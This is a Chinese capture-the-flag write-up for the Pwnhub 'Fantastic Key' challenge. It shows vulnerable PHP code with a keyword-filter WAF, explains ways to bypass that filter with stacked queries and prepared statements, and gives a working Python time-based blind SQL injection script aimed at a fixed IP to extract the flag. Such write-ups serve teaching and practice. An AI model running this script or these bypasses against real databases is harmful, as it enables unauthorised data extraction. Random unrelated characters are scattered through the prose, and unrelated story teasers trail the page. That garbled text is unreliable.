Pwnhub Fantastic Key

https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&mid=2247484074&idx=1&sn=2bcac1abf8364cc4040d2f3cb07e21d6&chksm=eadf9571dda81c678acffc2e79a4363d085e372428a14cb525e324c1e9e492a84d6d52b7d054&mpshare=1&scene=23&srcid=12167GnqMynTveY20gEIhScx&sharer_sharetime=1576496036398&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd
https://www.cnblogs.com/wfzWebSecuity/p/12049920.html

#index.php
<?php
error_reporting(0);
include 'config.php';
$id=$_POST['i']?waf($_POST['i']):rand(1,8);
$v=$_POST['v']?waf($_POST['v']):'anime';
$sql="desc `acg_{$v}`";
if (!$conn->query($sql)){
die('no such table');
}
$sql = "SELECT * FROM acg_{$v} where id = '$id'";
$result=$conn->query($sql);
if (!$result){
die('error');
}
foreach ($result as $row) {
print "<!-- $row[0] --> \t";
print "$row[1]<br><img src='img/$row[1].jpg' style='width:600px;'>
<br>";
}
#config.php
<?php
$con = "mysql:host=localhost;port=3306;dbname=acg";
$conn = new PDO($con, 'user', 'user');
$conn->query('set names utf8');
function waf($s)
{
if (preg_match("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i",$s)!=false||strlen($s)>10000)
    die();
return $s;
}
?>

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>key</title>
</head>
<body>
<form action='index.php' method='POST'>
<select name='v'>
<option value ="anime">anime</option>
<option value ="character">character</option><br>
</select>
<input type='text' name='i' placeholder='id'>
<input type='submit' value='query'>
</form>
</body>
</html>

看到PDO,不難想到可以利用堆疊注入+預(yù)處理來進(jìn)行注入繞過。

但是問題是,題目中過濾了set阶捆、prepare.欠雌、.execute策橘,這就造成了很大的困擾锚扎。
首先prepare..execute應(yīng)該是好繞的坎拐,因?yàn)槿绻菃渭兊倪^濾担忧,就不應(yīng)該在正則中加.芹缔。

雖然正則表達(dá)式中.代表的是任意字符,但是并不包括換行符瓶盛,換行符是([\s\S]*))

所以只需要prepare%0a%0aexecute就可以繞過最欠。同時(shí)空格被過濾也能通過%0a來進(jìn)行繞過。

接下來先看看在哪里進(jìn)行注入惩猫。題目中給出了兩個(gè)值idv都可以插入到sql語(yǔ)句中芝硬,但是問題是id所在的語(yǔ)句是加了引號(hào)的,而引號(hào)是被過濾了的轧房。所以我們看一下v所在的語(yǔ)句拌阴。

$sql="desc `acg_{$v}`";
$sql = "SELECT * FROM acg_{$v} where id = '$id'";

但是因?yàn)樽⑨尡贿^濾了,所以我們?cè)谏鲜龅诙€(gè)語(yǔ)句中無(wú)法將后面的where id='id'給注釋掉奶镶,所以會(huì)產(chǎn)生語(yǔ)法錯(cuò)誤迟赃。所以我們這里選擇第一個(gè)語(yǔ)句。

trick1

我們發(fā)現(xiàn)在語(yǔ)句中通過反引號(hào)可以將原本報(bào)錯(cuò)的句子正常執(zhí)行了

雖然反引號(hào)包起來的語(yǔ)句并不會(huì)影響原本語(yǔ)句的查詢結(jié)果
但是它確實(shí)是執(zhí)行了厂镇,這就夠了纤壁。

trick2

這里回想到剛才的set過濾的問題還沒有解決。其實(shí)mysql中除了用set來給變量賦值之外捺信,還能用select來完成變量賦值酌媒。這里列舉幾個(gè)賦值的方法

  set @s='123';
  select '123' into @s;
  select @s:='123';
  do @s:='123';

可是select也被過濾了,這里我們就需要利用where來幫我們完成select的功能。如

這樣我們就可以完成堆疊查詢+預(yù)處理了秒咨。
payload如下:

import requests
import libnum

flag = ''
url = 'http://139.217.112.201/'
pos = 1

while True:
    for i in range(128):
        try:
            #sql = "select if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))=%d,sleep(4),1);" % (pos, i)
            #sql = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='acg_fff5lll1ll@g'),%d,1))=%d,sleep(4),1);" % (pos, i)
            sql = "select if(ascii(substr((select flag from `acg_fff5lll1ll@g`),%d,1))=%d,sleep(4),1);" % (pos, i)
            data="v=anime`%0a`%0awhere%0a@zz:=0x"+sql.encode('hex')+";prepare%0ast%0afrom%0a@zz;%0aexecute%0ast;&i="
            re = requests.post(url=url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"},timeout=2)
        except Exception, e:
            flag += chr(i)
            print flag
            break
    print "oops!"
    pos+=1

碼力太弱了喇辽。。post里沒有加headers雨席,結(jié)果應(yīng)該是沒將%0a編碼茵臭,一直出不了答案。其實(shí)代碼中不用%0a\n一樣的舅世,但是問題是為什么還要加headers,難道是post都要加這個(gè)嗎奇徒。雏亚。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市摩钙,隨后出現(xiàn)的幾起案子罢低,更是在濱河造成了極大的恐慌,老刑警劉巖胖笛,帶你破解...
    沈念sama閱讀 206,839評(píng)論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件网持,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡长踊,警方通過查閱死者的電腦和手機(jī)功舀,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,543評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來身弊,“玉大人辟汰,你說我怎么就攤上這事≮宸穑” “怎么了帖汞?”我有些...
    開封第一講書人閱讀 153,116評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)凑术。 經(jīng)常有香客問我翩蘸,道長(zhǎng),這世上最難降的妖魔是什么淮逊? 我笑而不...
    開封第一講書人閱讀 55,371評(píng)論 1 279
  • 正文 為了忘掉前任催首,我火速辦了婚禮,結(jié)果婚禮上壮莹,老公的妹妹穿的比我還像新娘翅帜。我一直安慰自己,他們只是感情好命满,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,384評(píng)論 5 374
  • 文/花漫 我一把揭開白布涝滴。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪歼疮。 梳的紋絲不亂的頭發(fā)上杂抽,一...
    開封第一講書人閱讀 49,111評(píng)論 1 285
  • 那天,我揣著相機(jī)與錄音韩脏,去河邊找鬼缩麸。 笑死,一個(gè)胖子當(dāng)著我的面吹牛赡矢,可吹牛的內(nèi)容都是我干的杭朱。 我是一名探鬼主播,決...
    沈念sama閱讀 38,416評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼吹散,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼弧械!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起空民,我...
    開封第一講書人閱讀 37,053評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤刃唐,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后界轩,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體画饥,經(jīng)...
    沈念sama閱讀 43,558評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,007評(píng)論 2 325
  • 正文 我和宋清朗相戀三年浊猾,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了柒啤。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片傻谁。...
    茶點(diǎn)故事閱讀 38,117評(píng)論 1 334
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡父虑,死狀恐怖眼溶,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情幅疼,我是刑警寧澤米奸,帶...
    沈念sama閱讀 33,756評(píng)論 4 324
  • 正文 年R本政府宣布,位于F島的核電站爽篷,受9級(jí)特大地震影響悴晰,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜逐工,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,324評(píng)論 3 307
  • 文/蒙蒙 一铡溪、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧泪喊,春花似錦棕硫、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,315評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)纬纪。三九已至,卻和暖如春滑肉,著一層夾襖步出監(jiān)牢的瞬間包各,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,539評(píng)論 1 262
  • 我被黑心中介騙來泰國(guó)打工靶庙, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留问畅,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,578評(píng)論 2 355
  • 正文 我出身青樓六荒,卻偏偏與公主長(zhǎng)得像护姆,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子掏击,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,877評(píng)論 2 345